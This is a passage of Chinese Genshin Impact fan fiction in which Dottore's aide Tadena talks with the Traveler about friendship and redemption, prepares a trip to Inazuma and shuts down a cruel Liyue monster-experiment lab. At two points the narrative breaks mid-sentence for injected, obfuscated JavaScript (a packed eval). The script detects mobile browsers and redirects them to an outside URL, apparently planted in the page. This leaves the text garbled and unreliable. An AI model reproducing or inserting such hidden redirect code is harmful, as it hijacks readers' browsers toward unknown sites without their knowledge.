“虽然一直都对人笑眯眯的,但是又好像对每个人都是差不多的亲近态度。我们认识了这么久,也从来没有说过自己的真实身份。”旅行者一件件细数着,如数家珍,“从来不会对一件事情发出不同的看法和意见,从来不会公开表达自己的喜好和厌恶的东西,也从来不会用简单正常一点的方法称呼别人。” “总感觉,塔德纳在和我们交谈的时候,就像是一个旁观者一样,永远不会参与进来,只是看着,随时准备退出。” 我无法分析从旅行者说出的这一大堆话里分析出我应该得到的情报,旅行者为什么要顾左右而言他,说这么多与现在的情况毫无关系的话来? 我想不清楚。 “……旅行者大人没有什么其他想要跟我说的吗?”我深吸了一口气,声音有些干涩。 “比如我接近您的目的,比如我做的坏事,再比如……”我的声音有些颤抖,“愚人众的情报。” “诶?原来塔德纳在愚人众里是地位高到可以告诉我很多独家情报的程度吗?真厉害。”旅行者如此惊叹。 “……您知道现在并不是适合说笑的时机吧。” “等等,塔德纳,你先转过来,弯一下腰。” 少女如此对我说。 我下意识地转头,弯腰,两边的脸颊上顿时出现了两只温热的手,一手一侧,轻轻捏着我的脸颊肉往上一推拉。 ? 我缓缓打出一个问号。 少女认真地观察着我,或者说是观察着我脸上的表情。 “总感觉,没有见过塔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15673176|159613||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 德纳真正笑起来的样子呢。真正的笑容,是要连眼睛都笑起来的笑容啊。一个天天对人说敬语的你,一个眼睛没高光天天找人打架的【公子】,愚人众的职场环境到底是差成哪样了?” “哪个危险邪恶的愚人众会像是这样被人叫一声就不设防地应声照做的?真难想象。塔德纳,你该不是被拐进愚人众的吧?” 少女如此扼腕,眼神严肃,看我的时候莫名像是在看一个“可怜的失足青年”一样。 愚人众好像成了什么会随地到处强迫人加入的邪恶拐.卖组织一样。 我被旅行者的动作弄得有点懵,一时之间竟然不知道是该保持原动作,还是按照“一个邪恶的愚人众该有的邪恶素养”直接拿开少女的手站起来。 于是我只能弱弱地叫了一声:“旅行者大人?” 少女有些不满。 “这个时候还叫我‘大人’的话,总感觉在塔德纳的心里我和塔德纳的那个烦人上司是一个地位了呢。” 我苦笑:“按照愚人众对您的分级,您确实是和那些大人物相同的级别,甚至更高。” “但是,塔德纳和我是朋友吧。” 少女的话语令我惊愕。 “是朋友的话,无论是什么身份,无论是什么地位,都应该是朋友才对吧?” 异国的夕阳落在少女金色的发色间那朵奇异的、美丽的花上,亦为其镀上一层金黄的余晖。 “朋友……?”我有些恍惚。 “可您,不是最讨厌愚人众了吗?” “讨厌也很正常吧,毕竟在蒙德和璃月,愚人众都做出了那么多坏事。做了坏事的人会被讨厌,做了好事的人会被喜欢。塔德纳一直在努力去做好事,不对吗?” 我抿了抿唇,有些羞愧。 “可是,我也做过许多坏事,我见证过许多生命在眼前逝去而无动于衷,也因为自己的懦弱而放弃帮助过许多人……” “就算是最伟大的人,也没办法保证自己能够救下每一个人吧。”旅行者打断我的话。 “对我而言,只要塔德纳一直是在想要去帮助别人的,那塔德纳就是我眼中的‘好人’。” “人无法选择自己行进的路,但能够选择自己该行的路。” 少女金色的双瞳直视着我。 “塔德纳,去成为更好的人吧。” 少女的话语在耳边犹如振聋发聩。 “……好。” …… 我如同逃跑一般离开了不卜庐,无论如何,估计在未来很长的一段时间,我应该都不会再想看到不卜庐的房顶了。 一下也不会想! 先是在不卜庐知道了Theta切片的消息,后又被旅行者拉着说了一大堆……那样让我的心脏都要承受不住的话。 我本以为自己在多托雷的身边待了几百年,心已经犹如杀了五十年的鱼一样冰冷了,却没想到会因为旅行者的一席话差点破功。 唯一庆幸的是,至少没有丢脸到在旅行者的面前哭出来吧…… 我心有余悸。 “成为更好的人”。 我从来没有听到过有人对我说这种话,在多托雷身边的生活,或许连“成为人”都暂且是个艰巨的任务。 但是…… 我看向自己的手心,因为一路上被紧张握紧而湿热的手心,还残存着被掐出来的指甲印。 我不由得内心迷茫。 我这样的人,真的还能成为好一点的人吗? 就算是刚才那样答应了旅行者的要求,果然也只是逞强罢了吧…… 我颤抖着呼出一口气。 身后突然传来熟悉的声音。 “怎么站在门口不进去?” 我惊了一下,差点跳起来。 我转身,肌肉记忆般地侧身让出路然后低头:“主人……我只是,在思考一些东西……抱歉。” 多托雷似乎打量了我一顿。我感受到他的目光。 “这种事情没有必要道歉。”多托雷似乎心情不错,很轻易地就放过了我。 “对了,既然你回来了,有一件事情需要你去办一下。我要去一趟稻妻,你清点一批人,安排一下去稻妻的队伍吧。需要尽快。” 132.第 132 章 多托雷要去稻妻。 这是完全出乎我意料的事情。 我压抑住惊讶,一边恭敬地应了一声“是”,一边在脑海里飞速思考着多托雷此举的意图。 明明多托雷从在至冬的时候就没有流露出过一定要去稻妻的想法,我也很确定多托雷近期确实没有必须要在稻妻才能实行的计划。 按照我的猜测,多托雷恐怕是不久之前才刚刚做下要去稻妻的决定。 是什么改变了多托雷的想法? 那一定是不久之前发生的一件事,一件足以让多托雷推掉所有正常的计划,不顾一切代价前往的事情。 我想起储物袋里被我放在最底层的纸条。 是Theta切片的原因吗?多托雷知道了Theta切片会去稻妻。 为什么?Theta切片隐藏踪迹这么久不会这么大意,突然就被多托雷发现踪迹,要么是多托雷早有预谋,要么…… 是Theta故意泄露的。 我想到这个可能性,一下子呼吸错乱。 “嗯?怎么了?你看起来有些奇怪,塔德纳。” “……只是,只是本来还想着要怎么告诉您‘我想去稻妻’的事情而已,没想到您会先提出来。”我审慎地回答。 多托雷观察着我,似乎要从我的脸上找到一些佐证不寻常的蛛丝马迹。 我紧张地挤出一点笑容,用出很大的力气控制面部的肌肉才能保证自己的表情正常。 多托雷没有继续追究。他很爽快地放过了我的这次异常。 我不觉得这是我演技精湛的原因,事实上,多托雷能够很轻易地看穿我,无论是过去的无数次还是现在。 但是,多托雷很显然并不打算纠结这一次。他很宽容地放过了我。或者说,此刻有更重要的东西占据他的大脑,那颗无比珍贵的大脑。 是远远比“关注自己的宠物狗内心是何想法”要重要一百倍的东西。 我能感受到多托雷身上的愉悦、兴奋,或许还夹杂着愤恨、敌意。 “算了。这次的任务很重要,我会在房间里静闭一段时间,在我出来之前不要打扰我。其他的事情一切你自己处理就好。” 多托雷越过我,伸手拉开门。 “是,主人。” 我如以往无数次的样子听命,也以以往无数次的样子识趣地不去过多探问。 …… 前往稻妻的相关事宜并不难安排,说到底,这次离开至冬的本来目的原就是去稻妻,现在只不过是继续按照原本的计划行进而已。 我很容易地找到了足够的合适的人选,将前往稻妻的计划提上日程。 愚人众里精通海况的专员测定了最近的天气,将出发的时日定在了七日后。 不多不少,正好足够我在璃月将一些事务收尾。在多托雷无心监视我的这段时间。 比如,与旅行者外出时碰到的那群不正常的魔物。 我直觉那件事情恐怕没那么简单,就连那位天权星也能够惊动,最坏的情况,恐怕是和璃月分驻的愚人众相关。 而事实也正如我所料。 在我迈入这座璃月的实验室时,眼前的一切几乎让我丧失了言语的能力。四处可见的特制的金属笼,里面关押着各种各样的魔物,它们大多数无精打采,甚至许多奄奄一息。 这里的空气显得沉闷且混乱,药水的气味,血的味道,或许还夹杂着刚被清理过后的排泄物。对于嗅觉灵敏的人而言,简直就是犹如地狱一般的地方。 我屏住呼吸,看了一眼身边明显心虚的实验室负责人。 “这就是你要给我看的实验成果?我只看到了一群意义不明的魔物。” “啊……这个,副官大人,请您先听我解释……” 我的大脑被这里的气味弄得晕头转向。 “我没心情听你讲这些有的没的。在璃月归离原的村庄附近故意诱引魔物的事情,是你们做的吗?” “是这样没错,可是,副官大人,我们这样做是有原因的。”负责人语气焦急,“我们新开展的实验项目,需要大量的魔物作为实验样本和对象。只要能够成功,即使是魔物也不是不能为我们所用……” “够了。”我扬了扬手,制住负责人聒噪的话音。 我注视着这面前的一切,被截取手臂的丘丘人,花萼被接上奇怪形状的头戴设备的骗骗花,而那些死去的魔物的尸体,实在是太多太多,甚至被扔进笼子里,作为尚存活的魔物的口粮。 自然,我见过许多比起眼前的形状更加凄惨的景目,那些被直接用做实验的人类,许多也是如此,在一次又一次的实验中被接上奇怪的肢体,凿开脑袋戴上奇怪的设备。 但是,无论再看多少遍,眼前的是人还是魔物,总是让人感到心烦。 “我对你们的实验内容不感兴趣。来此也只是因为一件事,璃月七星已经注意到你们做的事情了,如果不想被抓住的话,我会建议你们停掉这里的实验,赶紧带着你们的家当滚回至冬。” 我有些兴致缺缺。实在是这里的气味冲击性有点太大了。 负责人被我的一番话堵得脸红颈赤。 “你……你懂什么?我的实验,我的实验只要一成功,即便是魔物也能够被人驱策。到时候,到时候【博士】大人一定会对我再度倾以目光的!” “‘再’?” 我看了一眼负责人,终于在那张愤懑的、狰狞的脸上看出了一点端倪,从记忆的不知哪个角落拽出点印象。 那个几年前实验成果不佳,被赞迪克扔出去丢到璃月眼不见心不烦的研究员,曾经倒也有差不多半个月的时间是赞迪克身边的新贵。 我记得,在被丢走之前他进行的实验就是改造魔物相关,没想到来了璃月依旧是不忘初心。 也算另一种意义上的持之以恒了。 我不欲与眼前这条一看就知道早失了智的疯狗多交谈。至于劝说?璃月的实验基地本来就处于半废弃状态,上一次正式启用还是多托雷的某个切片来璃月研究什么仙家遗产。 我记得最后搞出个名字拗口的符箓,也不知道起到作用没有。 反正,言尽于此—— 我转身,准备离开。 就在此刻,手腕突然被人抓住。我回头,发现是那个不服气的负责人。 “我不相信……凭什么,凭什么你要我不做这个实验我就不做?!我马上就要成功了,你看不到吗!我会让【博士】大人重新看到我的才华,我会证明给【博士】大人看的,只有我……只有我这样的人才配待在【博士】大人身边。【博士】大人……大人的身边,不应该是你这种毫无才华的平庸之辈该在的地方!” 负责人的样貌犹如癫狂,他痴痴地说着,一边发出狂笑,一边又恶毒地看着我,手腕上的桎梏越发用力。 我忍不住皱了皱眉,残存的礼节让我勉强维持镇定。 “放开。离开至冬太久,连最基本的规矩都忘记了吗?” “规矩?!你这种人,本来就没有资格让我恭恭敬敬小心翼翼!连【博士】大人身边在实验室打杂的人的才华和能力都比不上的家伙,不过是因为姿色和谄媚获得了大人的偏爱……” 越说越离谱。 “你失了智了。”我用力甩开负责人的手,在那半若癫狂的人影要反扑过来的时候又伸脚把人踹到另一边。 我俯视着在地上扭动的人影。 “对人员调度安排有疑问的话,你可以直接询问主人,而不是在我面前发疯。” “不过……”我忍不住笑出一声来,“我想,无论是主人还是Beta大人,恐怕连你是谁都早已经忘记了吧。毕竟是能力平庸到连把魔物放到村子里进行实验这种蠢事都能做出来的家伙。” 被出身实验室的人看不起的事情并非偶尔发生,比起今日所听到的话语更加难听数十倍的也并非没有,有人尊崇我待人亲近又为多托雷所信任,就有人嫉恨我才华毫无却能忝居在多托雷身边成为他的副官。 但无论是什么样的评价,在听了五百年后,连耳朵都要听出茧子来,还不如多托雷突然叫一句“爱人”来的冲击大。 即便风风雨雨的评价再如何,也无法改变我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“诶——怎么可以这样!那可是我们排了好久的队才买到的!很贵的!”派蒙的注意力被一秒吸引过去,如今已经完全沉浸在失去点心的悲痛之中了。 旅行者双手合掌道歉:“抱歉啦,派蒙。能不能拜托派蒙回去拿一下……” “好吧好吧……就这一次。” 我在一边微笑地看着这一切,等到派蒙转身离开的身影渐渐远去后,才看向旅行者。 旅行者:“匿名信的事情,是你做的吧?” “完全正确,旅行者大人真聪明。不过,原来有这么明显吗?” 旅行者一脸“我早就看透”的表情。 “你说呢?夜兰甚至让我遇到你的时候对你说声‘谢谢’。‘虽然以璃月自己的力量也能够查出来,而且那封信件,也故意省去了一些信息,但能够早点发现村庄的村民也能够早点不受其害。’,原话是这样的。” 旅行者刻意压低了声音转述,一瞬间倒真的还有点那日那位夜兰小姐的影子。 “不过,你这样做,就不怕被发现吗?”旅行者抬头,语气中带上一点担心。 “损己利人的事情,就算你的地位不低,也不可能对你毫无影响吧。” 我佯叹一声:“能有旅行者大人的关心,即使是被发现后处罚,也完全值得了。” “喂,你知道我不是在和你开玩笑的对吧!” “当然当然。” 我笑出来,知道再接下去便不能继续这个玩笑了,否则,就算是旅行者,恐怕也要对我采取一些“强制措施”了。 我轻松地道:“放心吧,不过便宜行事而已。” 旅行者将信将疑:“看来你的权限很大?” 我摊手:“不过是恰好这件事情在我能管到的范围之内而已。” 完全合理,多托雷不在,实验室的事情完全交给我管。 多托雷在的时候,我先看一眼,必须要拿给多托雷的事情才会偶尔交给多托雷做决策。 旅行者自然是不知道这点的。 她上下打量着我,确定我好像没有什么隐瞒她的地方后才放过了我。